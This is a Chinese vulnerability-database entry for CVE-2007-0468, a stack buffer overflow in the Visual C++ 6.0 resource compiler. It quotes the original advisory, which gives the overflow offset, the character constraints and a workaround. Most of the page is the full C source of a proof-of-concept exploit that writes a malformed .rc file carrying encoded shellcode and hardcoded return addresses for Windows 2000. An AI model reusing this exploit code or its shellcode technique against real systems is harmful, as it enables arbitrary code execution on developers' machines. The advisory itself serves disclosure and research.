Microsoft Visual Studio C++ (.RC) 'rcdll.dll' 栈缓存溢出漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1191992 漏洞类型 缓冲区溢出
发布时间 2007-01-23 更新时间 2007-01-23
CVE编号 CVE-2007-0468 CNNVD-ID CNNVD-200701-403
漏洞平台 N/A CVSS评分 6.8
|漏洞来源
https://www.securityfocus.com/bid/83555
https://cxsecurity.com/issue/WLB-2007010087
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200701-403
|漏洞详情
MicrosoftVisualStudio6.0SP6的VisualC++(MSVC)中的msdev.exe里的rcdll.dll存在栈缓冲区溢出漏洞。用户协助式远程攻击者可以借助RC文件的"1TYPELIBMOVEABLEPURE"选项中的长文件路径,执行任意代码。
|漏洞EXP
Advisory:
////////////
Microsoft Visual C++ 6.0 is prone to stack based memory corruption vulnerability
during processing .RC resource files, caused by the lack of input data boundary check.

Vulnerable software:
////////////////////
Microsoft Visual Studio 6.0 SP6

Impact:
///////
Remote code execution

Attack vector:
//////////////
An attacker must construct malformed .RC file and induce victim to
open it either as a part of attacker provided Visual Studio project 
or as a standalone resource file component.

Technical Details:
//////////////////
The stack based buffer overflow occurs in Microsoft Visual C++
MSDEV.EXE process within the resource compiler RCDLL.DLL module 
while processing .rc resource files.
The problem lies in bad processing of the file name fields.
In the followinig example:

1 TYPELIB MOVEABLE PURE "FilePath01"

the FilePath01 string, if too long, will cause stack based overflow.
It is caused by the file name parsing procedure within the resource compiler
DLL, which checks for the validity of the file path.
It also excludes all characters codes below 20h, plus codes 22h and 2fh, thus 
the payload has to be limited by this ASCII pool.
The EIP overwrite value offset relative to the beginning of the payload 
(FilePath01 string) is not constant and depends from the OS enviroment.
For the Windows 2000 ENG SP4 it is equal 224 bytes counting from the beggining
of the FilePath01 string.
Also it should be mentioned that when the length of the string exceeds 259 bytes 
the resource compiler parsing procedure enters infinite loop,
writing the FilePath01 string repeatidly up to the top of the process stack memory area,
then continues entering the heap area and destroying the process heap structure
and finally causes writing access violation exception.

Solution:
/////////
There is a quick solution to avoid potential malicious attempts of 
this kind.
Before the resource compiler parsing procedure will cause the buffer overflow
through bad processing of the long file name string, it first monits user 
with the message box that the file specified within 
the .rc file does not exist.After either pressing OK or closing the message box 
the stack corruption will occur.However if the user clicks EDIT, resource compiler
will abort and the MSDEV.EXE process will continue without any exception.
Therefore any suspicious looking / unknown source project files matching
the above pattern may be verified that way, before the official vendor patch
is released.

Conclusion:
///////////
It must be considered that the attacks against the compilers are hard
to justify because it is often almost impossible for users to audit or even
understand every line of code in a project that they are ultimately going 
to compile and execute anyway.  
Therefore there is the same possibility for source code trojans and back doors
as for the file format buffer overflow driven attacks using malformed project files.
Finally, the most reasonable way to avoid this kind of attacks is to 
prevent from opening and running as well as compiling unknown source codes or
project files, including for example appended to this advisory Proof of Concept 
exploit (.cpp) source file, which actually looks more than suspiciously to me...  ;-)

Credits:
////////
Vulnerability discovered and researched by: porkythepig
POC exploit by: porkythepig
email: porkythepig (at) anspi (dot) pl [email concealed]

Exploit:
////////
Proof of Concept exploit has been appended to this report.
After compiled, it will produce .rc exploit file that should
spawn notepad process when opened in Microsoft Visual C++ 6.0 SP6.
Available exploit OS host enviroments are:
[1] Windows 2000 SP4 English
[2] Windows 2000 SP4 English with all the updates on 11.01.2007
It can be also found at:
www.anspi.pl/~porkythepig/visualization/rc-kupiekrowe.cpp

///////////////////////////////////////
//*****************
//
//  Microsoft Visual C++ 6.0 SP6 resource compiler buffer overflow 
//  vulnerability .rc resource files exploit 
//
//  vulnerability found / exploit built by porkythepig
//
//*****************

#include "stdio.h"
#include "stdlib.h"
#include "memory.h"

#define STR01 "Microsoft Visual Studio 6.0 SP6 .rc PoC exploit by porkythepig"
#define DEF_SPAWNED_PROCESS "notepad.exe"
#define EXPL_SIZE 283
#define DEC_CODE 0xBC
#define DEC_CODE_OFFSET 0x2D
#define ENC_SIZE_OFFSET 0x3E
#define SHIFT 0x40
#define SHIFT_DEC_OFFSET 0x35
#define PROC_NAME_OFFSET 0x107
#define GETSTAR_OFFSET 0x11
#define CREPRO_OFFSET 0x6d
#define GETWINDIR_OFFSET 0x25
#define ESPSUB_OFFSET 0x08
#define FNAMSHIFT_OFFSET 0x02

typedef struct
{
	unsigned int getStarInf;
	unsigned int crePro;
	unsigned int getWinDir;
	unsigned int jmpEspPtr;
}ApiPtrs;

ApiPtrs osApiPtrs[2]=
{
	0x7c4f49df,0x7c4fc0a0,0x7c4e9c00,0x782f28f7,
	0x7c596b7a,0x7c595010,0x7c592d23,0x77e16280
};

unsigned char decoder[]=
{
	0xeb,0x2a,0xeb,0x2a,0x8b,0xdc,0x81,0xc3,
	0x40,0xff,0xff,0xff,0x8b,0xcb,0x33,0xd2,
	0x8a,0x21,0x80,0xfc,0xbc,0x75,0xe9,0x41,
	0x8a,0x21,0x80,0xec,0x40,0x88,0x23,0x43,
	0x41,0x42,0x33,0xc0,0xb0,0x99,0x3b,0xd0,
	0x7c,0xe6,0xeb,0xd6,0xeb,0xef
};

unsigned char shlCode[]=
{
	0x83,0xc4,0x0c,0x8b,0xc4,0x8b,0xe6,0x90,
	0x90,0x90,0x50,0x66,0x2d,0x10,0x20,0x50,
	0xb8,0x7a,0x6b,0x59,0x7c,0xff,0xd0,0x5b,
	0x53,0x33,0xc0,0xb0,0xff,0x50,0x66,0x81,
	0xeb,0x10,0x30,0x53,0xb8,0x23,0x2d,0x59,
	0x7c,0xff,0xd0,0x58,0x50,0x66,0x2d,0x10,
	0x30,0x32,0xdb,0x38,0x18,0x74,0x03,0x40,
	0xeb,0xf9,0x5b,0x53,0xb2,0xff,0xb1,0x5c,
	0x88,0x08,0x40,0x38,0x13,0x74,0x08,0x8a,
	0x0b,0x88,0x08,0x43,0x40,0xeb,0xf4,0xb2,
	0x00,0x88,0x10,0x58,0x50,0x66,0x2d,0x10,
	0x30,0x8b,0xd0,0x58,0x50,0x66,0x2d,0x10,
	0x20,0x50,0x33,0xc9,0x51,0x51,0x51,0x51,
	0x51,0x51,0x51,0x52,0xb8,0x10,0x50,0x59,
	0x7c,0xff,0xd0,0xeb,0xfe
};

unsigned char jmp1Seq[]=
{
	0xe9,0x2d,0xff,0xff,0xff
};

unsigned char jmp0Seq[]=
{
	0xe9,0x28,0xff,0xff,0xff
};

unsigned char espSub0=0x4e;
unsigned char espSub1=0x5c;
unsigned char fnamShift0=0x0e;
unsigned char fnamShift1=0x1c;
unsigned char retOffset1=0xe7;
unsigned char retOffset0=0xf5;
unsigned char jmp1Offset=0xeb;
unsigned char jmp0Offset=0xf0;
unsigned short back3=0xf5eb;
unsigned char back3Offs=0xf9;

unsigned char buf0[EXPL_SIZE];
char *outName;
int osId;
int defProc;
unsigned char espSub;
unsigned char fnamShift;
unsigned char *jmpSeq;
unsigned char retOffset;
unsigned char jmpOffset;

int Encode(unsigned char *destBuf, unsigned char *srcBuf, int srcSize)
{
	int cnt,c1;

for(cnt=0,c1=0;cnt<srcSize;cnt++)
	{
		if((srcBuf[cnt]<0x20)||(srcBuf[cnt]==0x22)||(srcBuf[cnt]==0x2f))
		{
			destBuf[c1]=DEC_CODE;
			destBuf[c1+1]=srcBuf[cnt]+SHIFT;
			c1+=2;
		}
		else
		{
			destBuf[c1]=srcBuf[cnt];
			c1++;
		}
	}

return c1;
}

void CompileBuffer()
{
	int ptr=0;
	int encSiz;

memset(buf0,'1',EXPL_SIZE);
	ptr+=sprintf((char*)buf0,"1 TYPELIB MOVEABLE PURE "");

decoder[ESPSUB_OFFSET]=espSub;
	
	memcpy(buf0+ptr,decoder,sizeof(decoder));
	buf0[DEC_CODE_OFFSET]=DEC_CODE;
	buf0[SHIFT_DEC_OFFSET]=SHIFT;
	ptr+=sizeof(decoder);

*((unsigned int*)(shlCode+GETSTAR_OFFSET))=osApiPtrs[osId].getStarInf;
	*((unsigned int*)(shlCode+CREPRO_OFFSET))=osApiPtrs[osId].crePro;
	*((unsigned int*)(shlCode+GETWINDIR_OFFSET))=osApiPtrs[osId].getWinDir;

shlCode[FNAMSHIFT_OFFSET]=fnamShift;
	
	encSiz=Encode(buf0+ptr,shlCode,sizeof(shlCode));
	buf0[ENC_SIZE_OFFSET]=sizeof(shlCode);

sprintf((char*)(buf0+PROC_NAME_OFFSET),"%sxff",DEF_SPAWNED_PROCESS);
	buf0[PROC_NAME_OFFSET+sizeof(DEF_SPAWNED_PROCESS)]=0xff;

*((unsigned int*)(buf0+retOffset))=osApiPtrs[osId].jmpEspPtr;
	memcpy(buf0+jmpOffset,jmpSeq,5);

if(osId==0)
	{
		*((unsigned short*)(buf0+back3Offs))=back3;
	}

sprintf((char*)(buf0+EXPL_SIZE-3),""rn");

printf("Exploit buffer compiledn");
}

void WriteBuffer()
{
	FILE *o;

o=fopen(outName,"wb");
	if(o==NULL)
	{
		printf("Cannot open file for writingn");
		exit(0);
	}

fprintf(o,"//**********rn// %srn//**********rnrn",STR01);
	fwrite(buf0,EXPL_SIZE,1,o);
	fclose(o);

printf("Output .rc file [ %s ] built successfullyn",outName);
}

void ProcessInput(int argc, char* argv[])
{
	printf("nMicrosoft Visual Studio 6  .rc resource files exploitn");
	printf("Vulnerability found & exploit built by porkythepign");
	
	if(argc<3)
	{
		printf("Syntax: exploit.exe os outNamen");
		printf("[os]        host OS, possible choices:n");
		printf("               0   Windows 2000 SP4 Englishn"); 
		printf("               1   Windows 2000 SP4 English all updates on day 11.01.2007n");
		printf("[outName]   output .rc exploit file namen");
		exit(0);
	}

osId=atol(argv[1]);
	if((osId<0)||(osId>1))
	{
		exit(0);
	}

if(osId==0)
	{
		espSub=espSub0;
		fnamShift=fnamShift0;
		jmpSeq=jmp0Seq;
		jmpOffset=jmp0Offset;
		retOffset=retOffset0;
	}
	else
	{
		espSub=espSub1;
		fnamShift=fnamShift1;
		jmpSeq=jmp1Seq;
		jmpOffset=jmp1Offset;
		retOffset=retOffset1;
	}

outName=argv[2];
}

int main(int argc, char* argv[])
{

ProcessInput(argc,argv);
	CompileBuffer();
	WriteBuffer();

return 0;
}
|受影响的产品
Microsoft Visual Studio 6.0 SP6
|参考资料

来源:BUGTRAQ
名称:20070122MicrosoftVisualC++(.RC)resourcefilesbufferoverflowvulnerability
链接:http://www.securityfocus.com/archive/1/archive/1/457646/100/0/threaded
来源:MISC
链接:http://www.anspi.pl/~porkythepig/visualization/rc-kupiekrowe.cpp
来源:SECUNIA
名称:23856
链接:http://secunia.com/advisories/23856
来源:OSVDB
名称:31607
链接:http://osvdb.org/31607
来源:XF
名称:visualstudio-rc-bo(31665)
链接:http://xforce.iss.net/xforce/xfdb/31665
来源:VUPEN
名称:ADV-2007-0296
链接:http://www.frsirt.com/english/advisories/2007/0296
来源:SREASON
名称:2172
链接:http://securityreason.com/securityalert/2172